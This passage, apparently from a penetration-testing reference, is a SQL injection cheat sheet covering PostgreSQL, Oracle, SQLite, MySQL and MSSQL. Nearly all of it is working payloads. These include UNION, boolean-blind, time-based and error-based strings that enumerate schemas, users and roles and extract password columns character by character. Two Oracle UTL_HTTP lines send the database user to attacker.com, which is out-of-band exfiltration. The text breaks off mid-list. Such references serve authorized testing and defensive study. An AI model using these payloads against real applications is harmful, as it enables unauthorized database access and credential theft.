' UNION SELECT table_name, column_name, data_type FROM information_schema.columns WHERE table_schema='public'-- -

-- Column count for a table
' UNION SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users'-- -

-- Columns with specific data type
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND data_type='character varying'-- -

Boolean-based blind variants

-- Check if column exists
' AND (SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name='password')-- -

-- Column name length
' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='users' LIMIT 1)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1)='i'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=105-- -

-- Column count
' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')>5-- -

3.5 PostgreSQL User Enumeration

pg_roles and pg_user

-- All roles (UNION-based)
' UNION SELECT rolname FROM pg_roles-- -
' UNION SELECT 1, rolname FROM pg_roles-- -

-- Roles with superuser status
' UNION SELECT rolname, rolsuper FROM pg_roles-- -

-- Superusers only
' UNION SELECT rolname FROM pg_roles WHERE rolsuper = true-- -

-- All users
' UNION SELECT usename FROM pg_user-- -

-- Users with creation privilege
' UNION SELECT usename FROM pg_user WHERE usesuper = true-- -

-- Role count
' UNION SELECT COUNT(rolname) FROM pg_roles-- -

Boolean-based blind variants

-- Check if role exists
' AND (SELECT 1 FROM pg_roles WHERE rolname='postgres')-- -

-- Check if current user is superuser
' AND (SELECT rolsuper FROM pg_roles WHERE rolname = current_user)=true-- -

-- Role count
' AND (SELECT COUNT(rolname) FROM pg_roles)>5-- -

3.6 PostgreSQL Quick Reference Cheat Sheet

┌─────────────────────────────────────────────────────────────────┐
│                 PostgreSQL Schema Extraction                     │
├─────────────────────────────────────────────────────────────────┤
│ Version:     SELECT version();                                   │
│ User:        SELECT current_user;                                │
│ Session:     SELECT session_user;                                │
│ Database:    SELECT current_database();                          │
│ Databases:   SELECT datname FROM pg_database;                    │
│ Tables:      SELECT tablename FROM pg_tables;                    │
│ Columns:     SELECT column_name FROM information_schema.columns  │
│              WHERE table_name='users';                           │
│ Roles:       SELECT rolname, rolsuper FROM pg_roles;             │
│ Sleep:       SELECT pg_sleep(5);                                 │
└─────────────────────────────────────────────────────────────────┘

4. Oracle Schema Extraction

4.1 Version and User Information

Purpose Query
Oracle version SELECT * FROM v$version;
Oracle banner SELECT banner FROM v$version;
Current user SELECT user FROM dual;
Current user (alt) SELECT sys_context('USERENV','CURRENT_USER') FROM dual;
Session user SELECT sys_context('USERENV','SESSION_USER') FROM dual;
Current schema SELECT sys_context('USERENV','CURRENT_SCHEMA') FROM dual;
Database name SELECT global_name FROM global_name;
DB domain SELECT sys_context('USERENV','DB_DOMAIN') FROM dual;
DB name SELECT sys_context('USERENV','DB_NAME') FROM dual;
Instance name SELECT instance_name FROM v$instance;
Is DBA? SELECT 1 FROM v$role_privs WHERE granted_role='DBA'-- -

UNION-based variants

-- Version
' UNION SELECT banner FROM v$version-- -
' UNION SELECT 1, banner FROM v$version-- -

-- Current user
' UNION SELECT user FROM dual-- -
' UNION SELECT 1, user FROM dual-- -

-- Session user
' UNION SELECT sys_context('USERENV','SESSION_USER') FROM dual-- -

-- Database name
' UNION SELECT global_name FROM global_name-- -

-- Version, user, database
' UNION SELECT banner, user, global_name FROM v$version, global_name-- -

-- Instance name
' UNION SELECT instance_name FROM v$instance-- -

Boolean-based blind variants

-- Version starts with 'Oracle'
' AND SUBSTRING((SELECT banner FROM v$version),1,6)='Oracle'-- -
' AND ASCII(SUBSTRING((SELECT banner FROM v$version),1,1))=79-- -

-- User starts with 'S'
' AND SUBSTRING((SELECT user FROM dual),1,1)='S'-- -

-- Database name length
' AND LENGTH((SELECT global_name FROM global_name))>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT user FROM dual),1,1)='S'-- -
' AND SUBSTRING((SELECT user FROM dual),2,1)='Y'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT user FROM dual),1,1))=83-- -

Time-based blind variants

-- Version detection (using DBMS_LOCK.SLEEP or UTL_HTTP)
' AND (SELECT CASE WHEN SUBSTRING((SELECT banner FROM v$version),1,6)='Oracle' THEN (SELECT COUNT(*) FROM all_objects a, all_objects b, all_objects c) ELSE 0 END)>0-- -

-- Using UTL_HTTP for time-based
' AND (SELECT UTL_HTTP.REQUEST('http://attacker.com/?' || (SELECT user FROM dual)) FROM dual) IS NOT NULL-- -

-- Using DBMS_PIPE.RECEIVE_MESSAGE
' AND 1=(SELECT CASE WHEN SUBSTRING((SELECT user FROM dual),1,1)='S' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',10) ELSE 0 END)-- -

4.2 Enumerating Databases/Schemas

all_users

-- All users/schemas (UNION-based)
' UNION SELECT username FROM all_users-- -
' UNION SELECT 1, username FROM all_users-- -

-- User count
' UNION SELECT COUNT(username) FROM all_users-- -

-- Users with specific name pattern
' UNION SELECT username FROM all_users WHERE username LIKE '%ADMIN%'-- -
' UNION SELECT username FROM all_users WHERE username LIKE '%USER%'-- -

dba_users (requires DBA privilege)

-- All users with details (UNION-based)
' UNION SELECT username, account_status FROM dba_users-- -
' UNION SELECT 1, username, account_status FROM dba_users-- -

-- Users with specific status
' UNION SELECT username FROM dba_users WHERE account_status='OPEN'-- -

Boolean-based blind variants

-- Check if user exists
' AND (SELECT 1 FROM all_users WHERE username='SYS')-- -

-- Username length
' AND (SELECT LENGTH(username) FROM all_users WHERE ROWNUM=1)>3-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT username FROM all_users WHERE ROWNUM=1),1,1)='A'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT username FROM all_users WHERE ROWNUM=1),1,1))=65-- -

-- User count
' AND (SELECT COUNT(username) FROM all_users)>5-- -

4.3 Enumerating Tables

all_tables and user_tables

-- All accessible tables (UNION-based)
' UNION SELECT table_name FROM all_tables-- -
' UNION SELECT 1, table_name FROM all_tables-- -

-- Tables with owner
' UNION SELECT owner, table_name FROM all_tables-- -

-- Tables owned by current user
' UNION SELECT table_name FROM user_tables-- -
' UNION SELECT 1, table_name FROM user_tables-- -

-- Tables in specific schema
' UNION SELECT table_name FROM all_tables WHERE owner='SCOTT'-- -

-- Table count
' UNION SELECT COUNT(table_name) FROM all_tables-- -

-- Tables with specific name pattern
' UNION SELECT table_name FROM all_tables WHERE table_name LIKE '%USER%'-- -
' UNION SELECT table_name FROM all_tables WHERE table_name LIKE '%ADMIN%'-- -

-- Tables with row count
' UNION SELECT table_name, num_rows FROM all_tables-- -

Boolean-based blind variants

-- Check if table exists
' AND (SELECT 1 FROM all_tables WHERE table_name='USERS')-- -

-- Table name length
' AND (SELECT LENGTH(table_name) FROM all_tables WHERE ROWNUM=1)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT table_name FROM all_tables WHERE ROWNUM=1),1,1)='U'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT table_name FROM all_tables WHERE ROWNUM=1),1,1))=85-- -

-- Table count
' AND (SELECT COUNT(table_name) FROM all_tables)>5-- -

4.4 Enumerating Columns

all_tab_columns

-- All columns for a specific table (UNION-based)
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'-- -
' UNION SELECT 1, column_name FROM all_tab_columns WHERE table_name='USERS'-- -

-- Column name and data type
' UNION SELECT column_name, data_type FROM all_tab_columns WHERE table_name='USERS'-- -

-- Column name, data type, and length
' UNION SELECT column_name, data_type, data_length FROM all_tab_columns WHERE table_name='USERS'-- -

-- All columns with table name
' UNION SELECT table_name, column_name, data_type FROM all_tab_columns-- -

-- Columns in specific schema
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND owner='SCOTT'-- -

-- Column count for a table
' UNION SELECT COUNT(column_name) FROM all_tab_columns WHERE table_name='USERS'-- -

-- Columns with specific data type
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND data_type='VARCHAR2'-- -

user_tab_columns (current user’s tables)

-- Columns in current user's tables
' UNION SELECT column_name FROM user_tab_columns WHERE table_name='USERS'-- -

Boolean-based blind variants

-- Check if column exists
' AND (SELECT 1 FROM all_tab_columns WHERE table_name='USERS' AND column_name='PASSWORD')-- -

-- Column name length
' AND (SELECT LENGTH(column_name) FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1),1,1)='I'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1),1,1))=73-- -

-- Column count
' AND (SELECT COUNT(column_name) FROM all_tab_columns WHERE table_name='USERS')>5-- -

4.5 Oracle Quick Reference Cheat Sheet

┌─────────────────────────────────────────────────────────────────┐
│                   Oracle Schema Extraction                       │
├─────────────────────────────────────────────────────────────────┤
│ Version:     SELECT banner FROM v$version;                      │
│ User:        SELECT user FROM dual;                              │
│ Database:    SELECT global_name FROM global_name;               │
│ Users:       SELECT username FROM all_users;                     │
│ Tables:      SELECT table_name FROM all_tables;                  │
│ Columns:     SELECT column_name FROM all_tab_columns            │
│              WHERE table_name='USERS';                           │
│ User Tables: SELECT table_name FROM user_tables;                │
│ Note:        Oracle uses uppercase for identifiers by default    │
└─────────────────────────────────────────────────────────────────┘

5. SQLite Schema Extraction

5.1 Version and Basic Information

Purpose Query
SQLite version SELECT sqlite_version();
Library version number SELECT sqlite_compileoption_get(0);
Source ID SELECT sqlite_source_id();

UNION-based variants

-- Version
' UNION SELECT sqlite_version()-- -
' UNION SELECT 1, sqlite_version()-- -

-- Compile options
' UNION SELECT sqlite_compileoption_get(0)-- -

-- Source ID
' UNION SELECT sqlite_source_id()-- -

Boolean-based blind variants

-- Version starts with '3'
' AND SUBSTRING(sqlite_version(),1,1)='3'-- -
' AND ASCII(SUBSTRING(sqlite_version(),1,1))=51-- -

-- Version length
' AND LENGTH(sqlite_version())>3-- -

Time-based blind variants

-- Note: SQLite has limited built-in delay functions
-- Use load_extension if available
' AND (SELECT CASE WHEN SUBSTRING(sqlite_version(),1,1)='3' THEN (SELECT COUNT(*) FROM sqlite_master a, sqlite_master b) ELSE 0 END)>0-- -

5.2 Enumerating Tables

sqlite_master

-- All tables (UNION-based)
' UNION SELECT name FROM sqlite_master WHERE type='table'-- -
' UNION SELECT 1, name FROM sqlite_master WHERE type='table'-- -

-- All objects (tables, indexes, views, triggers)
' UNION SELECT type, name, tbl_name, sql FROM sqlite_master-- -

-- Tables with SQL definition
' UNION SELECT name, sql FROM sqlite_master WHERE type='table'-- -

-- Table count
' UNION SELECT COUNT(name) FROM sqlite_master WHERE type='table'-- -

-- Views
' UNION SELECT name FROM sqlite_master WHERE type='view'-- -

-- Indexes
' UNION SELECT name FROM sqlite_master WHERE type='index'-- -

-- Triggers
' UNION SELECT name FROM sqlite_master WHERE type='trigger'-- -

Boolean-based blind variants

-- Check if table exists
' AND (SELECT 1 FROM sqlite_master WHERE type='table' AND name='users')-- -

-- Table name length
' AND (SELECT LENGTH(name) FROM sqlite_master WHERE type='table' LIMIT 1)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1)='u'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))=117-- -

-- Table count
' AND (SELECT COUNT(name) FROM sqlite_master WHERE type='table')>5-- -

5.3 Enumerating Columns

PRAGMA table_info

-- Column info for a table (stacked query)
'; PRAGMA table_info(users)-- -

-- Column info via UNION (requires creative approach)
' UNION SELECT cid, name, type, notnull, dflt_value, pk FROM pragma_table_info('users')-- -

Boolean-based blind variants

-- Check column exists via type affinity
' AND (SELECT 1 FROM users WHERE typeof(password)='text')-- -

5.4 SQLite Limitations

┌─────────────────────────────────────────────────────────────────┐
│                    SQLite Limitations                            │
├─────────────────────────────────────────────────────────────────┤
│ • No built-in SLEEP function (time-based is difficult)          │
│ • No information_schema equivalent                              │
│ • Limited to sqlite_master for schema introspection             │
│ • No user/role management (single-user database)                │
│ • No database enumeration (single database file)                │
│ • PRAGMA commands may not work in all injection contexts        │
│ • load_extension may be disabled for security                   │
│ • No stacked queries in all contexts                            │
└─────────────────────────────────────────────────────────────────┘

5.5 SQLite Quick Reference Cheat Sheet

┌─────────────────────────────────────────────────────────────────┐
│                  SQLite Schema Extraction                        │
├─────────────────────────────────────────────────────────────────┤
│ Version:     SELECT sqlite_version();                            │
│ Tables:      SELECT name FROM sqlite_master WHERE type='table'; │
│ SQL Def:     SELECT sql FROM sqlite_master WHERE type='table';  │
│ Columns:     PRAGMA table_info('users');                        │
│ Note:        Limited functions, no info_schema, no users        │
└─────────────────────────────────────────────────────────────────┘

6. Cross-Database Comparison Table

6.1 Version Detection

Database Query
MySQL SELECT version();
MSSQL SELECT @@version;
PostgreSQL SELECT version();
Oracle SELECT banner FROM v$version;
SQLite SELECT sqlite_version();

6.2 Current User

Database Query
MySQL SELECT user(); / SELECT current_user();
MSSQL SELECT SYSTEM_USER; / SELECT USER_NAME();
PostgreSQL SELECT current_user; / SELECT session_user;
Oracle SELECT user FROM dual;
SQLite N/A (no user concept)

6.3 Current Database

Database Query
MySQL SELECT database();
MSSQL SELECT DB_NAME();
PostgreSQL SELECT current_database();
Oracle SELECT global_name FROM global_name;
SQLite N/A (single database)

6.4 Enumerate Databases/Schemata

Database Query
MySQL SELECT schema_name FROM information_schema.schemata;
MSSQL SELECT name FROM sys.databases; / SELECT name FROM master..sysdatabases;
PostgreSQL SELECT datname FROM pg_database;
Oracle SELECT username FROM all_users;
SQLite N/A (single database)

6.5 Enumerate Tables

Database Query
MySQL SELECT table_name FROM information_schema.tables WHERE table_schema=database();
MSSQL SELECT name FROM sysobjects WHERE xtype='U'; / SELECT name FROM sys.tables;
PostgreSQL SELECT tablename FROM pg_tables; / SELECT table_name FROM information_schema.tables;
Oracle SELECT table_name FROM all_tables; / SELECT table_name FROM user_tables;
SQLite SELECT name FROM sqlite_master WHERE type='table';

6.6 Enumerate Columns

Database Query
MySQL SELECT column_name FROM information_schema.columns WHERE table_name='users';
MSSQL SELECT column_name FROM information_schema.columns WHERE table_name='users';
PostgreSQL SELECT column_name FROM information_schema.columns WHERE table_name='users';
Oracle SELECT column_name FROM all_tab_columns WHERE table_name='USERS';
SQLite PRAGMA table_info('users');

6.7 User/Role Enumeration

Database Query
MySQL SELECT user, password FROM mysql.user;
MSSQL SELECT name FROM master..syslogins;
PostgreSQL SELECT rolname, rolsuper FROM pg_roles;
Oracle SELECT username FROM all_users;
SQLite N/A

6.8 Privilege Checking

Database Query
MySQL SHOW GRANTS; / SELECT file_priv FROM mysql.user;
MSSQL SELECT IS_SRVROLEMEMBER('sysadmin'); / SELECT IS_MEMBER('db_owner');
PostgreSQL SELECT usesuper FROM pg_user WHERE usename=current_user;
Oracle SELECT 1 FROM v$role_privs WHERE granted_role='DBA';
SQLite N/A

6.9 Time-Based Delay Function

Database Query
MySQL SLEEP(5)
MSSQL WAITFOR DELAY '0:0:5'
PostgreSQL pg_sleep(5)
Oracle DBMS_PIPE.RECEIVE_MESSAGE('a',5)
SQLite N/A (limited)

6.10 Comment Syntax

Database Comment Style
MySQL -- - / # / /* */
MSSQL -- - / /* */
PostgreSQL -- - / /* */
Oracle -- - / /* */
SQLite -- - / /* */

6.11 String Concatenation

Database Syntax
MySQL CONCAT(a, b)
MSSQL a + b
PostgreSQL a || b or CONCAT(a, b)
Oracle a || b or CONCAT(a, b)
SQLite a || b or CONCAT(a, b)

6.12 Substring Functions

Database Syntax
MySQL SUBSTRING(str, pos, len) / MID(str, pos, len)
MSSQL SUBSTRING(str, pos, len)
PostgreSQL SUBSTRING(str FROM pos FOR len) / SUBSTRING(str, pos, len)
Oracle SUBSTRING(str, pos, len)
SQLite SUBSTRING(str, pos, len) / SUBSTR(str, pos, len)

6.13 ASCII/Character Functions

Database Syntax
MySQL ASCII(str) / CHAR(num)
MSSQL ASCII(str) / CHAR(num)
PostgreSQL ASCII(str) / CHR(num)
Oracle ASCII(str) / CHR(num)
SQLite UNICODE(str) / CHAR(num)

6.14 Length Functions

Database Syntax
MySQL LENGTH(str) / CHAR_LENGTH(str)
MSSQL LEN(str) / DATALENGTH(str)
PostgreSQL LENGTH(str) / CHAR_LENGTH(str)
Oracle LENGTH(str)
SQLite LENGTH(str)

6.15 LIMIT/OFFSET Syntax

Database Syntax
MySQL LIMIT offset, count
MSSQL OFFSET n ROWS FETCH FIRST m ROWS ONLY / TOP n
PostgreSQL LIMIT count OFFSET offset
Oracle WHERE ROWNUM <= n / FETCH FIRST n ROWS ONLY (12c+)
SQLite LIMIT count OFFSET offset

7. Schema Extraction via Different SQLi Types

7.1 UNION-Based Extraction Queries

MySQL

-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

-- Find visible columns
' UNION SELECT 1,2,3-- -

-- Version, user, database
' UNION SELECT version(), user(), database()-- -

-- All databases
' UNION SELECT schema_name,2,3 FROM information_schema.schemata-- -

-- All tables in current database
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()-- -

-- All columns for a table
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -

-- Extract data
' UNION SELECT username, password, 3 FROM users-- -

-- MySQL users
' UNION SELECT user, password, 3 FROM mysql.user-- -

MSSQL

-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

-- Find visible columns
' UNION SELECT 1,2,3-- -

-- Version, user, database
' UNION SELECT @@version, SYSTEM_USER, DB_NAME()-- -

-- All databases
' UNION SELECT name,2,3 FROM sys.databases-- -

-- All tables
' UNION SELECT name,2,3 FROM sysobjects WHERE xtype='U'-- -

-- All columns for a table
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'-- -

-- Extract data
' UNION SELECT username, password, 3 FROM users-- -

-- Logins
' UNION SELECT name,2,3 FROM master..syslogins-- -

PostgreSQL

-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

-- Find visible columns
' UNION SELECT 1,2,3-- -

-- Version, user, database
' UNION SELECT version(), current_user, current_database()-- -

-- All databases
' UNION SELECT datname,2,3 FROM pg_database-- -

-- All tables
' UNION SELECT tablename,2,3 FROM pg_tables-- -

-- All columns for a table
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'-- -

-- Extract data
' UNION SELECT username, password, 3 FROM users-- -

-- Roles
' UNION SELECT rolname, rolsuper, 3 FROM pg_roles-- -

Oracle

-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

-- Find visible columns
' UNION SELECT 1,2,3 FROM dual-- -

-- Version, user
' UNION SELECT banner, user, 3 FROM v$version-- -

-- All users
' UNION SELECT username,2,3 FROM all_users-- -

-- All tables
' UNION SELECT table_name,2,3 FROM all_tables-- -

-- All columns for a table
' UNION SELECT column_name,2,3 FROM all_tab_columns WHERE table_name='USERS'-- -

-- Extract data
' UNION SELECT username, password, 3 FROM users-- -

SQLite

-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

-- Find visible columns
' UNION SELECT 1,2,3-- -

-- Version
' UNION SELECT sqlite_version(),2,3-- -

-- All tables
' UNION SELECT name,2,3 FROM sqlite_master WHERE type='table'-- -

-- Table SQL definitions
' UNION SELECT name, sql, 3 FROM sqlite_master WHERE type='table'-- -

7.2 Boolean-Based Extraction Queries

MySQL

-- Version character extraction
' AND SUBSTRING(version(),1,1)='5'-- -
' AND ASCII(SUBSTRING(version(),1,1))=53-- -

-- User character extraction
' AND SUBSTRING(user(),1,1)='r'-- -
' AND ASCII(SUBSTRING(user(),1,1))=114-- -

-- Database name extraction
' AND SUBSTRING(database(),1,1)='t'-- -

-- Database enumeration
' AND (SELECT SUBSTRING(schema_name,1,1) FROM information_schema.schemata LIMIT 0,1)='t'-- -

-- Table enumeration
' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='u'-- -

-- Column enumeration
' AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)='i'-- -

-- Data extraction
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 0,1)='p'-- -

-- Using MAKE_SET for binary extraction
' AND MAKE_SET(ASCII(SUBSTRING(version(),1,1))<48,1)-- -

MSSQL

-- Version character extraction
' AND SUBSTRING(@@version,1,1)='M'-- -
' AND ASCII(SUBSTRING(@@version,1,1))=77-- -

-- User character extraction
' AND SUBSTRING(SYSTEM_USER,1,1)='d'-- -

-- Database name extraction
' AND SUBSTRING(DB_NAME(),1,1)='t'-- -

-- Database enumeration
' AND SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1)='m'-- -

-- Table enumeration
' AND SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)='u'-- -

-- Column enumeration
' AND SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'),1,1)='i'-- -

-- Data extraction
' AND SUBSTRING((SELECT TOP 1 password FROM users),1,1)='p'-- -

PostgreSQL

-- Version character extraction
' AND SUBSTRING(version(),1,1)='P'-- -
' AND ASCII(SUBSTRING(version(),1,1))=80-- -

-- User character extraction
' AND SUBSTRING(current_user,1,1)='p'-- -

-- Database name extraction
' AND SUBSTRING(current_database(),1,1)='t'-- -

-- Database enumeration
' AND SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1)='p'-- -

-- Table enumeration
' AND SUBSTRING((SELECT tablename FROM pg_tables LIMIT 1),1,1)='u'-- -

-- Column enumeration
' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1)='i'-- -

-- Data extraction
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='p'-- -

Oracle

-- Version character extraction
' AND SUBSTRING((SELECT banner FROM v$version),1,1)='O'-- -
' AND ASCII(SUBSTRING((SELECT banner FROM v$version),1,1))=79-- -

-- User character extraction
' AND SUBSTRING((SELECT user FROM dual),1,1)='S'-- -

-- User enumeration
' AND SUBSTRING((SELECT username FROM all_users WHERE ROWNUM=1),1,1)='A'-- -

-- Table enumeration
' AND SUBSTRING((SELECT table_name FROM all_tables WHERE ROWNUM=1),1,1)='U'-- -

-- Column enumeration
' AND SUBSTRING((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1),1,1)='I'-- -

-- Data extraction
' AND SUBSTRING((SELECT password FROM users WHERE ROWNUM=1),1,1)='p'-- -

SQLite

-- Version character extraction
' AND SUBSTRING(sqlite_version(),1,1)='3'-- -
' AND ASCII(SUBSTRING(sqlite_version(),1,1))=51-- -

-- Table enumeration
' AND SUBSTRING((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1)='u'-- -

-- Data extraction
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='p'-- -

7.3 Time-Based Extraction Queries

MySQL

-- Version detection
' AND IF(SUBSTRING(version(),1,1)='5', SLEEP(5), 0)-- -
' AND IF(ASCII(SUBSTRING(version(),1,1))=53, SLEEP(5), 0)-- -

-- User detection
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0)-- -

-- Database detection
' AND IF(SUBSTRING(database(),1,1)='t', SLEEP(5), 0)-- -

-- Database enumeration
' AND IF(SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='t', SLEEP(5), 0)-- -

-- Table enumeration
' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u', SLEEP(5), 0)-- -

-- Column enumeration
' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i', SLEEP(5), 0)-- -

-- Data extraction
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='p', SLEEP(5), 0)-- -

-- Using CASE WHEN
' AND (SELECT CASE WHEN SUBSTRING(version(),1,1)='5' THEN SLEEP(5) ELSE 0 END)-- -

-- Using BENCHMARK for CPU-based delay
' AND IF(SUBSTRING(version(),1,1)='5', BENCHMARK(10000000, SHA1('test')), 0)-- -

MSSQL

-- Version detection
'; IF(SUBSTRING(@@version,1,1)='M' WAITFOR DELAY '0:0:5'-- -

-- User detection
'; IF(SUBSTRING(SYSTEM_USER,1,1)='d' WAITFOR DELAY '0:0:5'-- -

-- Database detection
'; IF(SUBSTRING(DB_NAME(),1,1)='t' WAITFOR DELAY '0:0:5'-- -

-- Database enumeration
'; IF(SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1)='m' WAITFOR DELAY '0:0:5'-- -

-- Table enumeration
'; IF(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)='u' WAITFOR DELAY '0:0:5'-- -

-- Column enumeration
'; IF(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'),1,1)='i' WAITFOR DELAY '0:0:5'-- -

-- Data extraction
'; IF(SUBSTRING((SELECT TOP 1 password FROM users),1,1)='p' WAITFOR DELAY '0:0:5'-- -

PostgreSQL

-- Version detection
' AND (SELECT CASE WHEN SUBSTRING(version(),1,1)='P' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- User detection
' AND (SELECT CASE WHEN SUBSTRING(current_user,1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- Database detection
' AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='t' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- Database enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- Table enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT tablename FROM pg_tables LIMIT 1),1,1)='u' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- Column enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1)='i' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- Data extraction
' AND (SELECT CASE WHEN SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- Using WHERE clause
' AND (SELECT pg_sleep(5) WHERE SUBSTRING(version(),1,1)='P')-- -

Oracle

-- Version detection (using DBMS_PIPE)
' AND (SELECT CASE WHEN SUBSTRING((SELECT banner FROM v$version),1,1)='O' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -

-- User detection
' AND (SELECT CASE WHEN SUBSTRING((SELECT user FROM dual),1,1)='S' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -

-- User enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT username FROM all_users WHERE ROWNUM=1),1,1)='A' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -

-- Table enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT table_name FROM all_tables WHERE ROWNUM=1),1,1)='U' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -

-- Column enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1),1,1)='I' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -

-- Data extraction
' AND (SELECT CASE WHEN SUBSTRING((SELECT password FROM users WHERE ROWNUM=1),1,1)='p' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -

-- Using UTL_HTTP for out-of-band
' AND (SELECT UTL_HTTP.REQUEST('http://attacker.com/?' || SUBSTRING((SELECT user FROM dual),1,1)) FROM dual) IS NOT NULL-- -

7.4 Error-Based Extraction Queries

MySQL

-- Floor error-based (duplicate key)
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- Extractvalue error-based
' AND extractvalue(1, CONCAT(0x7e, version()))-- -
' AND extractvalue(1, CONCAT(0x7e, user()))-- -
' AND extractvalue(1, CONCAT(0x7e, database()))-- -
' AND extractvalue(1, CONCAT(0x7e, MID(version(),1,32)))-- -

-- Updatexml error-based
' AND updatexml(1, CONCAT(0x7e, version()), 1)-- -
' AND updatexml(1, CONCAT(0x7e, user()), 1)-- -
' AND updatexml(1, CONCAT(0x7e, database()), 1)-- -

-- GeometryCollection error-based
' AND GeometryCollection((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- Multipoint error-based
' AND Multipoint((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- Polygon error-based
' AND Polygon((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- MultiPolygon error-based
' AND MultiPolygon((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- LineString error-based
